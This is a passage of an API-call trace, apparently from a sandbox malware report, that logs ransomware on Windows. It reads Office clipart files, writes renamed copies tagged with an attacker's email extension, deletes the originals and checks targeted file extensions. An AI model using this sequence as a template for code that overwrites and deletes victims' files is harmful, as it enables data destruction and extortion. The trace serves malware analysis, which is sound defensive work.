(normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.573] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=5980) returned 1 [0210.573] CloseHandle (hObject=0x358) returned 1 [0210.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0210.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.574] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.574] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.575] GetLastError () returned 0x0 [0210.575] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x175c, lpOverlapped=0x0) returned 1 [0210.576] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1760, lpOverlapped=0x0) returned 1 [0210.577] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.577] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.577] SetEndOfFile (hFile=0x394) returned 1 [0210.577] CloseHandle (hObject=0x394) returned 1 [0210.577] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.577] SetEndOfFile (hFile=0x358) returned 1 [0210.578] CloseHandle (hObject=0x358) returned 1 [0210.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0210.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.579] lstrlenW (lpString=".doc") returned 4 [0210.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.579] lstrlenW (lpString=".docx") returned 5 [0210.579] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.579] lstrlenW (lpString=".pdf") returned 4 [0210.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.579] lstrlenW (lpString=".xls") returned 4 [0210.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.580] lstrlenW (lpString=".xlsx") returned 5 [0210.580] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.580] lstrlenW (lpString=".ppt") returned 4 [0210.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.580] lstrlenW (lpString=".zip") returned 4 [0210.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.580] lstrlenW (lpString=".rar") returned 4 [0210.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.580] lstrlenW (lpString=".bz2") returned 4 [0210.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.580] lstrlenW (lpString=".7z") returned 3 [0210.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.580] lstrlenW (lpString=".dbf") returned 4 [0210.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.580] lstrlenW (lpString=".1cd") returned 4 [0210.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.580] lstrlenW (lpString=".jpg") returned 4 [0210.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.580] lstrlenW (lpString=".doc") returned 4 [0210.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.581] lstrlenW (lpString=".docx") returned 5 [0210.581] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.581] lstrlenW (lpString=".pdf") returned 4 [0210.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.581] lstrlenW (lpString=".xls") returned 4 [0210.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.581] lstrlenW (lpString=".xlsx") returned 5 [0210.581] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.581] lstrlenW (lpString=".ppt") returned 4 [0210.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.581] lstrlenW (lpString=".zip") returned 4 [0210.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.581] lstrlenW (lpString=".rar") returned 4 [0210.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.581] lstrlenW (lpString=".bz2") returned 4 [0210.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.581] lstrlenW (lpString=".7z") returned 3 [0210.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.581] lstrlenW (lpString=".dbf") returned 4 [0210.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.581] lstrlenW (lpString=".1cd") returned 4 [0210.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0210.582] lstrlenW (lpString=".jpg") returned 4 [0210.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.582] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.582] lstrlenW (lpString="J0105388.WMF") returned 12 [0210.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.582] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=8252) returned 1 [0210.582] CloseHandle (hObject=0x358) returned 1 [0210.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220 [0210.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0211.052] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.052] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0211.053] GetLastError () returned 0x0 [0211.053] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x203c, lpOverlapped=0x0) returned 1 [0211.054] WriteFile (in: hFile=0x350, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2040, lpOverlapped=0x0) returned 1 [0211.055] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.055] WriteFile (in: hFile=0x350, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.056] SetEndOfFile (hFile=0x350) returned 1 [0211.056] CloseHandle (hObject=0x350) returned 1 [0211.056] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.056] SetEndOfFile (hFile=0x358) returned 1 [0211.057] CloseHandle (hObject=0x358) returned 1 [0211.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0211.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0211.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.058] lstrlenW (lpString=".doc") returned 4 [0211.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.058] lstrlenW (lpString=".docx") returned 5 [0211.058] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.058] lstrlenW (lpString=".pdf") returned 4 [0211.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.059] lstrlenW (lpString=".xls") returned 4 [0211.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.059] lstrlenW (lpString=".xlsx") returned 5 [0211.059] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.059] lstrlenW (lpString=".ppt") returned 4 [0211.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.059] lstrlenW (lpString=".zip") returned 4 [0211.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.059] lstrlenW (lpString=".rar") returned 4 [0211.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.059] lstrlenW (lpString=".bz2") returned 4 [0211.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.059] lstrlenW (lpString=".7z") returned 3 [0211.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.059] lstrlenW (lpString=".dbf") returned 4 [0211.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.059] lstrlenW (lpString=".1cd") returned 4 [0211.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.059] lstrlenW (lpString=".jpg") returned 4 [0211.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.060] lstrlenW (lpString=".doc") returned 4 [0211.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.060] lstrlenW (lpString=".docx") returned 5 [0211.060] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.060] lstrlenW (lpString=".pdf") returned 4 [0211.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.060] lstrlenW (lpString=".xls") returned 4 [0211.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.060] lstrlenW (lpString=".xlsx") returned 5 [0211.060] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.060] lstrlenW (lpString=".ppt") returned 4 [0211.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.060] lstrlenW (lpString=".zip") returned 4 [0211.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.060] lstrlenW (lpString=".rar") returned 4 [0211.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.060] lstrlenW (lpString=".bz2") returned 4 [0211.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.060] lstrlenW (lpString=".7z") returned 3 [0211.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.060] lstrlenW (lpString=".dbf") returned 4 [0211.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.061] lstrlenW (lpString=".1cd") returned 4 [0211.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0211.061] lstrlenW (lpString=".jpg") returned 4 [0211.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.061] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0211.061] lstrlenW (lpString="J0105526.WMF") returned 12 [0211.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0211.061] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17332) returned 1 [0211.062] CloseHandle (hObject=0x358) returned 1 [0211.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220 [0211.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0211.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0211.062] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.062] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0211.070] GetLastError () returned 0x0 [0211.070] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x43b4, lpOverlapped=0x0) returned 1 [0211.071] WriteFile (in: hFile=0x350, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x43c0, lpOverlapped=0x0) returned 1 [0211.073] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.073] WriteFile (in: hFile=0x350, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.073] SetEndOfFile (hFile=0x350) returned 1 [0211.073] CloseHandle (hObject=0x350) returned 1 [0211.074] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.074] SetEndOfFile (hFile=0x358) returned 1 [0211.075] CloseHandle (hObject=0x358) returned 1 [0211.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0211.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0211.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.076] lstrlenW (lpString=".doc") returned 4 [0211.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.076] lstrlenW (lpString=".docx") returned 5 [0211.076] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.076] lstrlenW (lpString=".pdf") returned 4 [0211.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.076] lstrlenW (lpString=".xls") returned 4 [0211.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.076] lstrlenW (lpString=".xlsx") returned 5 [0211.076] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.076] lstrlenW (lpString=".ppt") returned 4 [0211.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.076] lstrlenW (lpString=".zip") returned 4 [0211.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.076] lstrlenW (lpString=".rar") returned 4 [0211.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.076] lstrlenW (lpString=".bz2") returned 4 [0211.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.077] lstrlenW (lpString=".7z") returned 3 [0211.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.077] lstrlenW (lpString=".dbf") returned 4 [0211.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.077] lstrlenW (lpString=".1cd") returned 4 [0211.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.077] lstrlenW (lpString=".jpg") returned 4 [0211.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.077] lstrlenW (lpString=".doc") returned 4 [0211.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.077] lstrlenW (lpString=".docx") returned 5 [0211.077] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.077] lstrlenW (lpString=".pdf") returned 4 [0211.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.077] lstrlenW (lpString=".xls") returned 4 [0211.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.077] lstrlenW (lpString=".xlsx") returned 5 [0211.077] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.077] lstrlenW (lpString=".ppt") returned 4 [0211.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.077] lstrlenW (lpString=".zip") returned 4 [0211.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.078] lstrlenW (lpString=".rar") returned 4 [0211.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.078] lstrlenW (lpString=".bz2") returned 4 [0211.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.078] lstrlenW (lpString=".7z") returned 3 [0211.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.078] lstrlenW (lpString=".dbf") returned 4 [0211.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.078] lstrlenW (lpString=".1cd") returned 4 [0211.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0211.078] lstrlenW (lpString=".jpg") returned 4 [0211.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.078] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0211.078] lstrlenW (lpString="J0105530.WMF") returned 12 [0211.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0211.079] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=7384) returned 1 [0211.079] CloseHandle (hObject=0x358) returned 1 [0211.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220 [0211.079] GetFileAttributesW 